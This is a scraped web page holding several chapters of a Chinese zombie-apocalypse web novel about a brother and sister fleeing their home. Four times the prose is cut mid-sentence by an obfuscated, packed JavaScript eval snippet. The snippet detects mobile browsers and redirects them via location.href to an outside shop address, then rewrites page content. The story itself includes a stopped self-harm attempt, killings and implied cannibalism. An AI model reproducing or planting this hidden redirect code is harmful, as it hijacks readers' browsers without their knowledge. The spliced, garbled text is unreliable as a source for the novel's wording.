l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889997|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界里,只剩下呼啸的风声,和对面那个等着她的人。 距离在一点点缩短。 五米,三米,一米…… 当她终于爬到对面,成晏一把抓住她的手臂,用力将她拉了上来。 阮时卿双脚落地的瞬间,腿一软,整个人都跌进了他的怀里,大口大口地喘着气,心脏狂跳不止,酸软的肌肉仍然叫嚣着刚才的后怕。 抱着她的人同样后怕不止,胸膛剧烈起伏着,身躯颤抖不停,却又紧紧贴着她的,不留任何一点缝隙。 仿佛迫切需要这样一种方式驱散生死在彼此身上的阴霾,然后留下自己的气息。 “没事了……”他在耳边反复、低声地说着,“没事了,卿卿,哥哥在……” 她终于没忍住哭了出声,一天还没过去,她就经历了逃生、枪杀、跨楼等种种危机,被压抑在心底的恐惧积攒已久,终于在此刻——一个能让她肆意发泄和安心的地方爆发。 不管是末世还是和平年代,死亡都比活着容易。 她明明可以不用经历这么多,只需要沦为游戏傀儡的一员,或者在楼顶轻轻一跃,便足以躲过末世的圈禁,躲过人世定义的一切虚无的意义。 但那是最懦弱的解决办法,在九岁被抛弃那年,她也曾这么想过。 后来,有个人抱着她说,所幸上天再多给了他一点勇气,让他在这个并不算好的世界遇见了最宝贝的她。 现在,他们互相给了彼此勇气,才终于走到这里,没有理由再突然放弃。 待她哭够了,成晏用脸颊贴着她的前额感受温度,轻声询问,“还好吗?有没有哪里痛?” 阮时卿眨了眨湿润的眼睛,摇了摇头,她很快想起他背后的伤,惊呼出声,“你的伤是怎么回事?!” 她光顾着起身去看他背后,没有注意到他微黯的眼神。 “不碍事,我们先离开这里再处理,好不好?”他说。 “不行,流了那么多血,必须现在处理!” 在这种事上,阮时卿总是比他执拗,最后当然是成晏妥协。 他利落地脱下外套和体恤,背对着她,阮时卿才发现这道伤口呈斜逸状,从斜方肌一直蔓延到背阔肌,很长。同时她也在背上发现了大大小小已经愈合的伤疤。 “到底怎么回事?哥,你说实话。”她沉下声问。 “训练偶尔会磕碰到。”成晏回答得很快,想了想又补充了一句,“不是很疼。” 他又用他那云淡风轻的语气回答,好像这些伤口不长在他身上,又或者是他已经习惯了这样的伤口,连痛觉都能一并忍受。 阮时卿没再说话,而是从他的背包里拿出了一个简易的医药包,小心为他擦拭着未干涸的血,然后消炎,包扎。 当他转身看她的时候,发现她的眼神变得格外坚决,也异常冷静。他收拾好背包单肩驮着。 “好了,这边位置太开阔了,我们得先……” 他还未说完,瞳孔骤然一缩——裤腿上的匕首被阮时卿夺走了。 她什么都没说,只是利落地拔开刀鞘,然后握着刀刃划向自己的手背,在刃尖即将触到的那一刻手腕被另一只大手狠狠握住。 “你疯了阮时卿?!” 8. 回家 “松手。” 成晏几乎是命令般地说了句,声音因为过分克制而显得有些冷。 阮时卿的手骤然一松,匕首立刻被成晏收回放回了裤兜。 “为什么要这么做?”他问。 成晏根本没办法接受他的妹妹有自残倾向的认知,他宁愿刚才那柄刀刃刺向的是他。 “我就是想知道,是不是真的不会疼。” 阮时卿终于抬起头来,嘴角自嘲似地牵动了一下,抬手放在了心口的位置,“以及,假如刚才那一刀刺了下去,你这里,会不会出现和我一样的伤口?” 心上的伤是看不见的,她是在用这种稍显极端方式表达自己的感受——看见他受伤,再用那种轻描淡写的方式掩盖,她很难过。 但用寥寥几语去揭开,就像隔靴挠痒,对方感受到的可能不及万分之一。 他们生于两具不同的躯体,即使再紧密贴合,也终究无法越过皮囊触摸彼此同样偏执、柔软、病态的灵魂。只有痛,一样随着泵出的血液流到全身各处的痛才足够份量。 就像年岁幼小的孩子,想要得到某种东西或者说表达自己的需求的方式总是稍显极端的,哭闹,打滚,自闭,因为它们知道这样效率最高,前提是对至亲之人。 因为血脉相连,爱从此生,见不得它们过分委屈。 一种迟来的心酸淹没了成晏。鼻尖的血腥味好像更浓了些,一呼一吸也变得粘稠不堪。 他用力地将阮时卿搂进怀里,回答了她,“会。我会比你痛一万倍。” “……” “我明白你的意思。”他松开她,声音软了几分,“但我还是想说,下次不许再这样了。现在这种情况,受伤总是在所难免,而你受的伤可以是各种原因,但唯独不能是因为我和你自己。明白了吗?” 阮时卿得到了想要的回答,点了点头,猝不及防被他刮了一下鼻尖。 “惩罚一下你。”成晏勾起嘴角。 她心觉大事不妙,立马用手去摸鼻尖,果然摸到了一层灰,可能是他刚才在地上滚的时候不小心蹭来的。 “成晏,你个坏蛋,小心眼!” “对对对,我就是全世界最坏最小心眼的那个。行了行了,等回到家给你洗干净。现在我们先离开这里。” 他们很快顺着这栋楼下来,好巧不巧,发现竟然是之前要去的那家车行! 车行门没关,里面横七竖八地倒了好几辆摩托,空气里充斥着汽油味和霉味,地上各种垃圾也不少,还有一滩血迹,看起来这里应该有别人来搜刮过。 因为刚才大量的丧尸被他们吸引至天台,现在外面的街道上十分空荡,不太需要担心丧尸,只需要担心图谋不轨的人。 成晏率先发动走到为数不多看似完好的一辆摩托车前,阮时卿去前台拿来了钥匙,他检查了一下油箱刹车和轮胎,都没什么问题。 “等等,哥,你看那边有人。”阮时卿突然开口。 成晏顺着她指的方向看过去,发现一个男人搀扶着一个女人刚从一栋楼下来,贴着墙面往路口的方向走。 那栋楼有点眼熟,好像就是刚才从窗口扔垃圾的那栋! 阮时卿恨得咬牙切齿,她抬头,发现那扇窗口依旧紧闭着。 “哥,你说会不会是他们?” “去问问看。” …… “青青,你再坚持一会,马上就到了……马上就有药了……” 男人身形瘦削,穿着一件不引人注目的浅色外套,迈着较快的步调坚定地往前走。他身旁的女人脸色很差,头发披散下来,一只手紧紧捂着胸口没说话。 路面上横陈了几具模样凄惨的尸体,女人看了再次浑身抽搐起来,呼吸困难。 男人立马捂住她的眼睛,低声安慰,“别看别看都是假的,马上就到了……” “你们要去哪?” 一只手拍在他的肩头吓了他一跳。 男人立刻转身将女人护在身后,双手哆嗦着就要去摸口袋,然而在看清他们的面孔之后猛地顿住了,一张脸因为惊恐而扭曲。 “你……你们……!” 那不是在看到陌生人之后的失措,而是一种不敢置信的惊慌,仿佛有什么超出了他的认知。 看到这个表情成晏和阮时卿就什么都明白了。 “没想到我们还活着?”成晏朝他逼近,眼神冷漠无比,他的手悄悄放在了裤腿,正要拔出刀刃。 每个人都是利己主义。为了自己活下去而牺牲无关的人,在末世太常见了,假如他们害的是别人,成晏当然不会多管闲事,只是今天碰见的刚好是他们。 “等等!我老婆心脏病得马上用药……我求你们先别杀我……”男人扑通一声跪下来央求道。 “假如我们已经成了丧尸的口粮,你们会想到我妹才十九岁吗?”成晏无动于衷。 冰凉的匕刃已经贴上了男人的颈侧。 “不要——!” 那个女人尖叫一声,忍着剧痛扑上来挡在男人身前,她一边喘着气一边断断续续说,“求你们……放过他……都是我的错……杀了我……我不想活了……” 男人抱着她痛哭流涕,“不准这样说!你会好起来的!我们说好的……” “山山,我真的不想活了……我好难受……”女人满头大汗,散乱的发丝遮住了苍白的面色。 “那我跟你一起死!没了你我也活不下去了……一个人还有什么意思……” 他们抱在一起,说着生与死,永不停歇的日轮照样荡下最后一缕余晖。 成晏转身看向一旁的阮时卿,牵住了她递来的手,指节同样温热。 “哥,我们走吧。” “嗯。” 他们没再管那对夫妻,而是趁着天还没有完全黑下来,骑着摩托驶向宽阔的大路。 * 一片老旧的小区里,楼道静悄悄。 成晏打开了手电筒,他们轻车熟路地上了三楼。 如果不是外面的嘶吼声时有时无,阮时卿会以为这是一个最普通平常的放学晚上,成晏会替她背书包,她的手里会拿着一碗热乎乎的馄饨,然后满心欢喜地回到家—— 那个他们住了十年的出租屋。 “到了。” 一声呼唤将阮时卿拉回现实。然而她看到的不是一扇单薄老旧的木门——记忆里开关总是发出吱呀的声音还能从门缝窥见里面,而是坚固结实的金属防盗门。 “你什么时候装的?”她抬头看他。 成晏没有立刻回答,而是掏出钥匙插进了门锁,“进去说。” 屋内依旧是以前的陈设,但很多家用和电子设备都焕新了,比如冰箱换成了双开门,电视机换成了65英寸智能电视,浴室装修了瓷砖,还贴了一整面墙的镜子,白炽灯换成了更明亮的吊灯等等。 鞋柜里依旧整齐摆放着他们俩的鞋,阮时卿换上拖鞋,发现沙发上还放着一件成晏的外套,他最近才穿过那件。 屋内的色调很温暖,茶几上摆放着各种各样的东西,有零食有新切的水果还有几本看不懂的专业书,想都不用想是成晏的,空气里弥漫着很浓郁的生活气息,跟阮时卿想象中不太一样。 她已经很久没有回家了,寒暑假忙着社会实践的事,平时也没空,她以为成晏也一样。 阮时卿累得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889998|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒在沙发上,脸侧刚好挨在他那件外套旁边,他的气息立刻充盈了鼻腔。 她的脸颊微烫,看向径直走向浴室的成晏,“你最近都回来住的吗?” “嗯,周末回来住。平时就在宿舍。” 成晏的声音从浴室传来,伴着水龙头出水的声音。阮时卿看不见他的人。 “不是说很忙吗?”她问道。 “回家的时间还是有的,不然怎么做饭给你吃?哪像你,把学校当成家了。” 阮时卿很想反驳,但一时词穷,不知道该说什么,她确实主观上不太想回家——不太想面对他。 好吧,她不占理,她不说话。 成晏再次从浴室走出,看到她倒在沙发上跟骨头散架似的忍不住笑了下,“哪家的面团落在这了,看起来还需要擀一下。” 阮时卿哀嚎道,“喂——跑了一天了,真的累。” 成晏走到跟前,双手撑在沙发扶手上低头与她对视,“家里重新装修了一遍,喜欢吗?” 他很认真地在问。 一想到这是他们一起的家,阮时卿的心跳就莫名加快,忍不住挪开了视线,“还行还行。” 成晏看了她好一会,也不戳穿,“行,家里的东西我也早就备好了,应该够我们用七天的。至于水电,现在还没停,但不知道什么时候会停,你先去洗澡,我去做饭。” 从小到大都是这样,他把一切都安排得十分妥当,明明年纪也不算大,在她面前,总像个家长。 但为了撑起这个家,他确实吃了很多苦,不仅忙着上学,还要兼职打零工,还要腾出心思照顾她。实在忙不过来的时候,他也会拜托对门的奶奶帮忙照顾一下。 他真的毫无怨言吗?阮时卿时常觉得他离自己很远,无法窥探到他的全部生活,也包括他的内心。就这样心照不宣地生活在一起,是他们一直以来的默契。 “好吧,拉我起来。”她伸出手。 “小懒鬼。” 嘴上这么说,成晏还是把她捞了起来,“衣服都在房间里,自己去拿。” 房间里的墙上贴满了他留下来的便利贴。最初是为了提醒她做什么事情或者记录生活,后来逐渐演变成了他们独特的一种沟通方式。 阮时卿拿衣服的时候瞥见衣柜上贴了个三年前留的,忍不住笑了。 【哥:红色的那件裙子缝好了,在衣柜左边第三层,这次小心点,别又弄坏了。】 【卿:手艺不错,朕封你为尚衣局司衣,退下吧。】 【哥:?都说了少看点肥皂剧。明明我是太上皇。】 门上贴了个一年前的,那时候她刚高考完不久。 【哥:最近有没有什么愿望?圣诞老人说他可以满足三个。】 【卿:第一,希望再满足三个愿望;第二,再来三个这样的圣诞老人;第三,想吃烤串了TT】 【哥:今天就带你去。】 之后随着她去了大学,很少回家,就没有新的了。 …… 吃完饭,阮时卿想起对门的邻居奶奶,便对成晏说:“哥,我们要不要去看看奶奶?她一个人在家,也不知道怎么样了。” “也好。带点东西去,奶奶一个人也不容易。” 天已经完全黑下来了,外面的纷乱仍在继续,楼道内却悄无声息。 “咚咚咚——” 成晏敲响了对面的门,“奶奶,您在吗?” 没有动静。 阮时卿正要发动异能,门突然掀开了一条缝,一个男人邋遢的脑袋挤了出来,挂着一张了无生气的灰败的脸,嘴角还沾着一团肉糊状的东西。 “你们是谁?” 9. 进化 一股说不上来的微弱腥气从门口弥漫出来,让他们眉头紧蹙。 那个男人中庭略短,眼窝深陷,眼睑下有浓重的乌黑,皮肤干枯得像是绷在骨头上。厚重的棉袄将他裹得严严实实。 面如死灰。 阮时卿脑中第一个想到的词就是这个。 成晏不动声色地回答,“我们是对面的邻居,请问原先住在这的老人去哪了?我们是来找她的。” 男人转动了一下眼球,从他的身上又移到身后的阮时卿身上,那种静默的窥视让她觉得不太舒服。 成晏向右挪动了一步,刚好挡住他的视线。 男人的喉间发出了一股混浊的声音,“她睡了。你们什么事?” “之前她对我们多有照顾,我们给她老人家送点东西。”成晏提了提手里的塑料袋,把话题转移到他的身上,“你是谁?之前没见过你。” 男人只是略微瞟了一眼袋子里的东西,好像并不感兴趣,“我是她儿子,今天刚回来。” 成晏和阮时卿再次蹙起眉头,以前从来没听奶奶提起过,她从来都是孤家寡人一个,哪来的儿子? “东西拿走,没其他的事我就关门了。”男人正要动作,像是突然想到什么,嘴角牵起一丝诡异的弧度,“哦对了,我杀了鸡,所以味道有点难闻,别见怪。” 门被关上了。 成晏转过身,和阮时卿对视一眼,从彼此眼里看到了一样的疑惑和担忧。 “哥,我用了异能,听不到奶奶的声音,也没听到其他声音。”她说,“这太奇怪了,从来没有见过这个人。” “嗯。而且在末世,还没有人不会对物资感兴趣。”成晏又想到了他落在阮时卿身上的那种眼神,目光一凛。 “那怎么办?强行闯进去吗?万一奶奶真的在睡觉……” 阮时卿还在苦恼,他的指腹就伸了过来,在拧起的眉心揉了揉。 “好了,都皱成小包子脸了,我们先回家。等之后再来看看。”成晏拉着她进屋,语气轻快。 “也行……没有手机玩,好无聊,成晏你能不能表演个胸口碎大石给我看。” “让你晚上少吃点辣,看看,这都辣到开始说胡话了。” “碎大石不行,像以前那样背着我做俯卧撑也行……” 当他们的身影消失在防盗门后,楼道里又恢复了一片灰暗和死寂,就如同那双透过猫眼凝视着他们背后的眼睛。 …… 第二天水电停了。 好在家里提前接了好几桶水备着,还有很多备用的蜡烛。 日轮倦怠在云后,徒留阴沉的天光空空地流照下来,看起来像是要下雨。天气也变冷了。 阮时卿几乎一整夜都没睡好,从半夜开始,总有莫名其妙的尖叫嘶吼还有一种咀嚼声从四面八方钻进她耳朵里,戴上耳塞都没用。因此,第二天她的黑眼圈很严重。 当她穿着睡衣睁着朦胧的睡眼打开卧室门,发现成晏起得更早,穿着加绒的浅灰美式皮夹克背对着她站在客厅的窗口,不知道在看什么。 听到她的声音,成晏转过身,眉头不禁皱起,“不冷吗?也不知道披件外套再出来。” 他走过来,拿过沙发上的毯子给她披上,就着微弱的天光发现了她憔悴萎靡的面色,忍不住问道,“怎么了?没睡好?” “嗯……感觉好吵……”阮时卿揉了揉眼睛,声音有些嘶哑。 “那再睡会?” “睡不着了。” 成晏叹了口气,揽着她走到窗前,“过来看。” 阮时卿努力打起精神,发现路面上的丧尸肉眼可见地变多了。 不对! 不止路面上,大约离地面三米的墙面上趴着两三只肢体扭曲的丧尸……是她眼花了吗? 那是对面二楼,那几只丧尸正灵活地摆动着手脚攀附上二楼住户的防盗窗,同时用头和身体去撞,一撞一个凹陷。她敏锐的听觉能听到对面传来若有若无的尖叫声。 如果是她,她大概也要吓坏了。 “怎么回事?丧尸会爬墙了?”阮时卿惊道,“这才游戏第二天!” 成晏点头,放在她身后的手一下下顺着披散的发丝,像是安抚,“不仅如此,你再看看。” 阮时卿强压下心中的惊骇,转而去观察地面上的丧尸,她发现没有目标出现的时候大部分都处于一种“宕机”的休息状态——即闭眼假寐,原地不动。 一旦有目标进入它们的嗅觉亦或是听觉范围,它们就会立刻睁眼,变得暴怒无比,两三米的距离一秒钟就能抵达。比起昨天的稍显迟钝的状态,今天它们就像整体进化了一般。 已经有好几个人丧生在尸口之下了。 “这个所谓的末日游戏果然没有这么简单。虽说任务只是存活七天,但仅仅是第二天,丧尸进化就这么快。所以我怀疑每一天都像是一场关卡,会解锁新的难度。” 成晏冷静地分析着,为了让她听清楚,声音故意放得比较慢。 阮时卿转过身,有些不解,“可是我记得这个副本叫《丧尸末日》,这不是意味着游戏最大的挑战就是丧尸吗?假如每一天都会解锁新难度,那七天以后丧尸得进化成什么样?” 说完连她自己都不敢相信,七天以后丧尸只怕是要统治全球吧? 成晏轻笑一声,揉了揉她的头发,目光有些宠溺,“卿卿说得对。所以要么是我推测错了,要么是……这个游戏的挑战可能不会只针对丧尸。” 不会只针对丧尸?那还有什么? 阮时卿眨了眨眼睛,十分困惑地看着他,眼睛里睡意全无。本来想从他这里得到什么回答,结果被他拉去了浴室。 “现在先不想这个。当务之急是得把咱们家的窗户加固一下,免得到时候丧尸爬上来。而你先乖乖洗漱,等着吃早餐。” 成晏挽起袖子,打开早就准备好的保温壶盖,单手提起来向盆里倒下滚烫的水。 “水是昨天烧的,小心点,别烫着了。之前那个你带到学校去了,牙刷和杯子给你准备了新的。” 他的话听起来和末日以前无二,好像外面那些危机与这个屋子无关,与他们的生活无关,与眼前这个人无关。他们可以永远躲在末世的帷帘后享受如此寻常的安宁。 阮时卿眼眶一热,看向那个崭新的杯子,上面那个小熊的图案和他的还是一对。 真好。 …… 阮时卿吃完早饭以后,成晏已经在杂物间找到好几块不锈钢板和水泥钢钉的材料,他把那些都拖到了窗前开始施工。 以前也是这样,每次遇到什么问题他都会先自己去解决,动手能力很强,所以基本上不需要担心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889999|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天光从窗口倾泻进来,勾勒出他健硕的身形,成晏已经脱了外套,小臂处丰满的肌肉也露了出来,一看就是长期训练后的成果。每到这个时候,阮时卿就特别喜欢盯着看。 “哥,需要帮忙吗?”她总会象征性地问一句。 成晏一看就知道她打的什么心思,于是面不改色地继续安装,“困了就去睡,这里我看着。” “知我者成晏也。” 阮时卿正要美美地回房间,突然听到一股令人头皮发麻的指甲剐蹭的声音,酸得牙齿发疼,浑身都起了鸡皮疙瘩。 是从门口传来的! “怎么了?”成晏立刻就察觉到了她的异常,停下了动作。 阮时卿没说话,而是指了指门口,眼神不安。 成晏放下工具,很快就来到门口,透过猫眼朝外看,却什么都没看到。但他也听到了,那一股极其微弱却又十分尖锐的指甲在门板上来回刮划的声音。 “他在说救我。” 成晏愣了一瞬,回头看向阮时卿,“谁?” “门外的人。”她说,“听声音好像是昨天那个对面的男人。” “肯定有问题。”成晏眉心一跳,抬手握住门把,却没有急着往下按,而是回头对她说,“你先退后,别伤着了。” 阮时卿立刻退后几步,还跑去把枪拿了过来藏在了身后。 门开了。 开到一半的时候遇到了强烈的阻力,成晏皱了皱眉,看到了一个人的脚,没穿鞋。 他的心猛地一沉,飞快拿出匕首,想从门缝闪身出去,但已经来不及了,那个人已经爬了进来! “救我!”他死死抱住成晏的腿,那张脸依旧灰败死气沉沉,但表情却极其惊恐,眼睛睁得极大,没有很明显的尸化特征。 “我不是丧尸……我不是!” 成晏有些嫌恶地皱了皱眉,“你先起来。” 男人如蒙大赦一般松开手,扶着墙站起身,看到了站在不远处的阮时卿,那种如同窥视的目光再次让她感到不适。 “你看她做什么?”成晏挡在她身前,冷声质问。 “抱歉,我……我不知道该怎么办了。”男人收回目光,痛苦地捂住脸,身上的衣服十分单薄,还有几处抓痕,但仍然捂得严严实实。 “到底怎么了?” “我妈她变异了!我昨天回来吓了一跳!我好害怕,只好把她绑起来……但是今天她突然挣脱了绳子,追着我到处跑,我就只好来找你们……”男人捂着脸,语气带着压抑的恐慌。 “那她人现在在哪?” “在家!我把门关上了!”说着男人把钥匙从口袋里掏了出递给成晏,“求你们帮我解决,不然我没地方去……” 阮时卿十分讨厌这个男人,昨天还一幅那样拒人于千里之外的态度,今天就死缠烂打,要不是涉及奶奶,她真想把他一脚踹出去。 “行,我去。”成晏目光幽深,接过了钥匙,“卿卿,你在家待着,不要乱跑。” 阮时卿急了,“我跟你一起去!” 她才不要跟这个人共处一室。 “听话。我马上就回来。”说完成晏便打开门出去了。 他一走,男人身上那种惊恐感就减弱了许多,他朝阮时卿走近了几步,露出了沾满肉渍的獠牙。 “你看起来好好吃……” 10. 避难 “砰——” 阮时卿还没来得及反应就听见一声沉闷的巨响,剧烈的风从耳畔呼啸而过,仿佛有一只大手猛地拽住了男人倾轧向她的身体,再把他狠狠砸在墙角。 鲜红的血从他的头顶汩汩涌出,却不吭一声,好像感知不到痛。 下一秒成晏就闪身进来,抬手扼住了男人的脖颈。 他根本没走,就待在门外等着破绽漏出。 “你到底是个什么东西?”他冷声道,眼里的压迫感倏地变重。 男人什么话也不说,就这样静静地凝视着他,嘴角咧出一个灰惨的笑,那双黯淡无光的眼睛逐渐散开焦距,仿佛望向的不是眼前这个人,而是虚空中的某个尽头。 变故陡生。 他的脸部肌肉开始剧烈扭曲,爬虫似的青筋从皮肤下蠕动凸起,眼球一翻变成全白。 他尸化了! “噗呲——” 匕首刺入眉心的瞬间,鲜血四溅,腐臭弥漫。 阮时卿见状赶紧拿了块毛巾过来,递给成晏,却被反握住了手腕。 “有没有哪里伤到?”他没有去管脸上的血,而是上下把她仔仔细细打量了一番这才松了口气。 “怪我吗?” “什么?”阮时卿愣了一下,这才反应过来他问的是刚才把她独自留下跟那个男人共处一室的事,“所以你是故意的?” “也不算是。”成晏移开目光,拿起毛巾拭去了那点血,眉头拧起,有些后悔似的,“我只看出来了他的不对劲,却没想到他想害你。要是早知道,我绝对不会让你一个人面对危险。” 阮时卿心上一酸,“我知道,你是想试探他,但我们都没想到他竟然是丧尸。” “是,这点很奇怪。”成晏蹲下来仔细察看,结果在那个男人的手腕处发现了一条浅浅的抓痕,伤口已经结痂了。 起码隔了一天以上。 阮时卿同样看到了,“说明他被抓到以后没有立刻尸化!难道是因为伤口太浅?” 成晏思忖半晌,“有这个可能。但我想的是他的行为,在被感染以后,竟然还能像正常人一样说话和行动,表面上也看不出来什么尸化迹象,都是在刚才那一刻爆发的。” “也就是说,被感染了也有可能发现不了,甚至和伪装得和正常人一样?这也是游戏的新挑战吗?太地狱了吧。”阮时卿忍不住吐槽。 一声轻笑从身边传来,成晏一边收拾尸体一边回答。 “没那么离谱,就算有所谓的潜伏期,应该也不会太长。而且说实话,尸化之前他看起来也不大正常。” 阮时卿被逗笑了,“喂,这位先生,嘴下积点德啊。” “实话实说而已。” “对了,”阮时卿突然想到什么,惊呼道,“奶奶!” 成晏同样变了脸色,“不好!” 当他们赶到隔壁的时候,只看到一桌残羹剩饭,肉已经熟了,被啃得面目全非,只剩下一块块骨头。厨房里还有用过的炊具和没擦干净的血,垃圾桶里藏着一堆干枯的毛发。 阳台上还挂着奶奶前几天晒的衣服和被子,电视柜的抽屉里还备着阮时卿爱吃的糖和红薯干,奶奶亲手做的。 她总说他们兄妹俩生活不容易,每个月都要拿自己的养老金出来给他们买生活用品,还总把他们叫来一起吃饭,看电视荧屏上的一家三口,其乐融融。 阮时卿吐得昏天黑地,而后被成晏强行抱回了房间不再让她看。 “那不是奶奶!奶奶在房间里,走得很安详。”他一遍遍地说。 “你骗人,你让我看看。”她很执拗。 “奶奶肯定不希望你看到她的最后一面是这样的。” “我说过要给她养老送终的。” “她已经走了。” 最后他们谁也没再说话,而是互相依偎在一起,像给彼此舔舐伤口的小兽。 电停了,室内昏暝如日暮,两颗心脏跃动着,寻着唯一的光源,又朝彼此靠近了些。 …… 他们已经把尸体处理干净了,只有空中那若有若无的血腥气挥散不去,连带着筛过窗缝的晴光也晕开了一圈圈红色。 午饭后他们默契地没有再提起这件事。 阮时卿总是听到一阵极其细微的震动声,那声音来源太过微弱,以至于时有时无,就像那无处不在的嘶鸣声一般,她也没有放在心上。 成晏点了几根蜡烛分别放在了客厅的茶几上,阮时卿的房间以及浴室,使室内明亮了一些。 “哥,剩下的几天我们都要这么过吗?”阮时卿抱着抱枕盘腿坐在沙发上,看蜡烛微弱的火光不安地跳动。 “你想怎么过?”成晏走过来,坐在她身边,十分认真地问。 阮时卿抬起头,蓦然撞进他清亮的眼睛里,眼眸深处始终溺着她的身影,心跳不禁漏了一拍。 她不自然地躲开目光,“我随便问问。” “每次说谎的时候都不看我的眼睛。” “哪有?”阮时卿不服气,飞快地转头,又看到了他那双带笑的眼睛,“我那是……” “是什么?” 成晏也不急,拿起桌上的橘子开始手剥,剥完后当着她的面自己先吃了一瓣,“嗯,很甜。” “真的吗给我吃。”阮时卿眼馋了,飞快地抢过了他手里剩下的,掰下一颗放进自己嘴里,结果酸得呲牙咧嘴。 她不信邪,又尝了一颗,结果更酸了,转头一看,发现他在偷笑。 “是你自己要抢的,不关我的事。”他还装作一脸无辜。 口腔里的酸味还在渗透,舌尖都麻了,阮时卿气得倾身过去压住他,伸手挠他的腋下。成晏显然没有防备,上半身直直地倒在沙发上,一边躲一边笑着去捉她作乱的手。 “就你会给我吃这么酸的东西。”她气呼呼地说。 成晏倏地止住了笑,同时按住了她的手,让她无法动弹。他们的上半身几乎贴在了一起,彼此呼吸可闻。 他的身体很热,热到阮时卿也快灼烧起来,她想躲,却挣脱不开他的手。那双眼睛,好像终于揭去了什么东西,浮起浓郁的晦暗。 “我以为我买的是甜的。” 他在辩解。 “我从来没想过给你不喜欢的东西。” 阮时卿愣住了,她只是随口一说,却没想到他会这么较真,“我开玩笑的……你先松手。” 成晏蓦地一松,转而去看她的手,有些心疼,“怎么了,弄疼你了是不是?” “没有。”阮时卿拉开距离,坐到另一边,“其实酸的也还行啦,你给什么我吃什么。” “傻瓜。”成晏无奈轻笑,故作思考状,“那前阵子是谁挑食来着?辣椒放少了醋放多了肉太腥了……我想想……” 阮时卿正要反驳,忽地听到那股震动变得愈来愈清晰,伴随着手掌在墙上摩擦的声音。 “嘘!” 成晏精神一凛,随着她的目光看向已经加固的窗口。 他们一齐走到窗前,透过刻意留出的小缝隙往外看,结果看到了一张眼睛被啃掉眼眶空洞的丧尸脸,还有蛆虫在腐烂的肉里蠕动。 不止一张。 还有两三只丧尸在他下面,他们呈直线朝这边爬来,目标十分明确。 成晏立马带着阮时卿退后,脸色十分沉重。 “估计是空气里的血腥味把它们吸引来了。”他说。 “那怎么办?能防住吗?” “不行。”成晏朝她摇了摇头,“接下来只会有更多的丧尸过来,我们得走了。” “那我们能去哪?” 成晏闭了闭眼,思忖了半晌,“来的路上我看到一处标记,说是幸存者避难处,去那里看看。” 阮时卿相信他,“好。” 趁着丧尸还没完全爬到,他们迅速行动起来,阮时卿再次把那个绿色背包拿出来,把挂饰取下。她带了五瓶水,零食没有带太重的,只带了压缩饼干、巧克力和面包,然后就是酒精、创可贴、绷带止痛药这类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890000|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医疗用品。 结果装完这些其他的几乎装不下了,而且很重。 成晏看到了直接从她的包里拿出了三瓶水和一大捆绷带,都装进了自己的背包。 “太重了容易累。”他说。 然后成晏从衣柜底部翻出来了冬季手套和棉帽,全部给了她,“戴上。” 阮时卿照做。 她从房间出来以后看到成晏掂量着一把结实的扫把,然后把扫把杆取了下来。 他从杂物间找到了一柄斧头,那是之前给阮时卿做书桌木椅的时候用的。扫把杆被他举起,用斧头猛地砍了一下。木杆断成两截,露出参差不齐的断口。 成晏把其中较短的一段递给阮时卿。“这个长度你能握住,不容易被夺。” 她点点头。 成晏又从床底下找出了工具箱,熟练地从里面抽出一把长柄螺丝刀,然后看了看她手里的木杆。 “抬着。” 阮时卿便握着木杆的底部将其抬起来。成晏从另一端把螺丝刀刀尖朝外压上去,用玻璃纤维胶带一圈圈绕紧,胶带拉扯的声音在屋里格外响亮。 武器很快就做好了,螺丝刀的刀尖在木杆顶端反射着刺眼的白光。 “别让它们靠到你身上,知道吗?”成晏语重心长。 阮时卿握了握武器,感觉重量恰好,“嗯。” 在走之前,她最后看了一眼这个他们住了十年的家,心里泛起一阵很浓的不舍,不知道以后还有没有机会回来。 成晏看见了,什么也没说,只是隔着帽子安抚性地摸了摸她的头。 出了门以后,感觉世界截然不同,死亡和鲜血到处肆虐。 他们飞快下楼,然后坐上了昨天找到的摩托,这几栋楼都没有大门,因此他们完全暴露在丧尸的视野中。 很快就有丧尸冲了过来。 阮时卿手握武器,紧张地左右张望,准备来一个刺一个。 “抱紧我!” 她突然听到成晏喊道,立马倾身向前环抱住了他紧实的腰部,把头靠在他宽阔的背后。身体的感官几乎全被身前这个人占据,十分有安全感。 随着一阵轰鸣的引擎声响起,摩托剧烈一拐,避开了身侧的丧尸,驶入了亮堂的大路,向小区门口冲刺。 啊——! 